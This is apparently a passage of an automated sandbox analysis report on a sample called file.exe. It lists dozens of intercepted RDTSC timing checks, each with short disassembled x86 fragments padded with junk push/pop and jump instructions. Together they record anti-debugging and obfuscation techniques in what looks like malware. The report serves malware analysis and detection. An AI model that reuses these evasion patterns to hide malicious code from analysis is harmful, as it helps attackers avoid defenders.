Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E737DD second address: E737E8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnl 00007F8854FD8856h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7391C second address: E73922 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E73A9F second address: E73AA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E73C3F second address: E73C45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E73C45 second address: E73C4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E73C4B second address: E73C4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E73DB9 second address: E73DC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E73DC1 second address: E73DD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F8854FAEB8Ah 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E73DD0 second address: E73DE2 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8854FD8858h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E73DE2 second address: E73DE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E73DE6 second address: E73DEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E73DEE second address: E73DF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E73DF6 second address: E73DFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E741EE second address: E741F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E74782 second address: E74787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E74787 second address: E7478C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E74E59 second address: E74E7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F8854FD8856h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8854FD885Ah 0x00000012 jmp 00007F8854FD885Fh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E75013 second address: E75031 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB98h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E75031 second address: E75035 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E75035 second address: E7505D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jmp 00007F8854FAEB91h 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 jl 00007F8854FAEB86h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7505D second address: E75066 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E751B5 second address: E751B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E75621 second address: E75631 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8854FD885Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E75631 second address: E75636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E79098 second address: E790A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F8854FD8856h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7DDC9 second address: E7DDEF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnl 00007F8854FAEB86h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F8854FAEB97h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7DDEF second address: E7DE26 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FD8865h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jl 00007F8854FD885Eh 0x00000013 push edx 0x00000014 jns 00007F8854FD8856h 0x0000001a pop edx 0x0000001b mov eax, dword ptr [eax] 0x0000001d push eax 0x0000001e push edx 0x0000001f jg 00007F8854FD8858h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7CE6B second address: E7CE70 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E484B8 second address: E484BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E81E13 second address: E81E19 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E820E1 second address: E82110 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FD8862h 0x00000007 jmp 00007F8854FD885Bh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F8854FD885Ah 0x00000013 push ecx 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8226A second address: E82271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E82271 second address: E82284 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8854FD885Eh 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E823E0 second address: E823E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E823E4 second address: E823F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c jng 00007F8854FD8856h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E823F8 second address: E82408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jbe 00007F8854FAEB86h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E858D9 second address: E858DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E860A8 second address: E860D4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8854FAEB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c pushad 0x0000000d jne 00007F8854FAEB9Ah 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E86184 second address: E8619F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FD8867h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8619F second address: E861AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F8854FAEB86h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E86590 second address: E86594 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E86A53 second address: E86A5D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8854FAEB8Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E87548 second address: E8754D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E873B5 second address: E873B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8754D second address: E87567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8854FD885Dh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E873B9 second address: E873BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E87567 second address: E8756B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E873BF second address: E873C4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88637 second address: E8863B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8B10D second address: E8B198 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB95h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c call 00007F8854FAEB97h 0x00000011 push ebx 0x00000012 js 00007F8854FAEB86h 0x00000018 pop edi 0x00000019 pop esi 0x0000001a push 00000000h 0x0000001c je 00007F8854FAEB8Ch 0x00000022 sbb edi, 6F23DD8Ch 0x00000028 jmp 00007F8854FAEB8Ch 0x0000002d push 00000000h 0x0000002f mov dword ptr [ebp+124795FCh], edx 0x00000035 xchg eax, ebx 0x00000036 jmp 00007F8854FAEB90h 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e jp 00007F8854FAEB99h 0x00000044 jmp 00007F8854FAEB93h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8B198 second address: E8B1AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8854FD8863h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8988B second address: E89890 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8AEA2 second address: E8AEB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FD885Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8A33F second address: E8A343 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89890 second address: E89896 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8BA31 second address: E8BA43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB8Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89896 second address: E8989A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3FD60 second address: E3FD79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB90h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3FD79 second address: E3FD7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3FD7D second address: E3FD96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3FD96 second address: E3FD9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3FD9A second address: E3FD9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3FD9E second address: E3FDA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8FDF1 second address: E8FDF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E90D6C second address: E90D70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E90D70 second address: E90D74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8FF11 second address: E8FFA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8854FD8869h 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e js 00007F8854FD8858h 0x00000014 push edi 0x00000015 pop edi 0x00000016 jmp 00007F8854FD8868h 0x0000001b popad 0x0000001c nop 0x0000001d push ecx 0x0000001e stc 0x0000001f pop edi 0x00000020 push dword ptr fs:[00000000h] 0x00000027 push 00000000h 0x00000029 push ecx 0x0000002a call 00007F8854FD8858h 0x0000002f pop ecx 0x00000030 mov dword ptr [esp+04h], ecx 0x00000034 add dword ptr [esp+04h], 0000001Ah 0x0000003c inc ecx 0x0000003d push ecx 0x0000003e ret 0x0000003f pop ecx 0x00000040 ret 0x00000041 mov bl, 7Fh 0x00000043 mov dword ptr fs:[00000000h], esp 0x0000004a mov dword ptr [ebp+12466F40h], ecx 0x00000050 mov eax, dword ptr [ebp+122D049Dh] 0x00000056 mov ebx, edi 0x00000058 push FFFFFFFFh 0x0000005a mov edi, edx 0x0000005c movzx ebx, bx 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8FFA6 second address: E8FFAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E90FD2 second address: E90FE7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FD8861h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E92C65 second address: E92C75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 jo 00007F8854FAEB86h 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E97CCA second address: E97CD4 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8854FD8856h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E433AC second address: E433CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jng 00007F8854FAEB86h 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push edx 0x0000000e pop edx 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F8854FAEB8Fh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9E4AC second address: E9E4B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9B839 second address: E9B843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F4F5 second address: E9F517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F8854FD8858h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F8854FD8860h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F517 second address: E9F51B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F51B second address: E9F521 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F521 second address: E9F590 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F8854FAEB8Dh 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007F8854FAEB88h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push esi 0x0000002b call 00007F8854FAEB88h 0x00000030 pop esi 0x00000031 mov dword ptr [esp+04h], esi 0x00000035 add dword ptr [esp+04h], 00000017h 0x0000003d inc esi 0x0000003e push esi 0x0000003f ret 0x00000040 pop esi 0x00000041 ret 0x00000042 mov edi, dword ptr [ebp+122D2D0Dh] 0x00000048 push 00000000h 0x0000004a push esi 0x0000004b mov dword ptr [ebp+122D2AAFh], ecx 0x00000051 pop edi 0x00000052 xchg eax, esi 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 jng 00007F8854FAEB86h 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F590 second address: E9F595 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F595 second address: E9F5B4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8854FAEB88h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F8854FAEB90h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F5B4 second address: E9F5BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA0693 second address: EA069A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA069A second address: EA06A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA8785 second address: EA8789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA8789 second address: EA879E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop edx 0x0000000c pushad 0x0000000d ja 00007F8854FD8856h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA879E second address: EA87A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA7E24 second address: EA7E2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA8117 second address: EA8120 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA8287 second address: EA828D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAE9D7 second address: EAEA14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edi 0x00000006 push eax 0x00000007 pushad 0x00000008 ja 00007F8854FAEB92h 0x0000000e jmp 00007F8854FAEB8Ch 0x00000013 jnc 00007F8854FAEB99h 0x00000019 jmp 00007F8854FAEB93h 0x0000001e popad 0x0000001f mov eax, dword ptr [esp+04h] 0x00000023 push esi 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAEA14 second address: EAEA18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAEA18 second address: EAEA1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAEA1C second address: EAEA40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov eax, dword ptr [eax] 0x00000009 jnc 00007F8854FD885Eh 0x0000000f jl 00007F8854FD8858h 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jnc 00007F8854FD8856h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2AD1 second address: EB2AE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F8854FAEB86h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2AE0 second address: EB2AE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2DBB second address: EB2DDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F8854FAEB8Eh 0x0000000b jng 00007F8854FAEB86h 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F8854FAEB8Bh 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b pop eax 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2DDF second address: EB2DE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
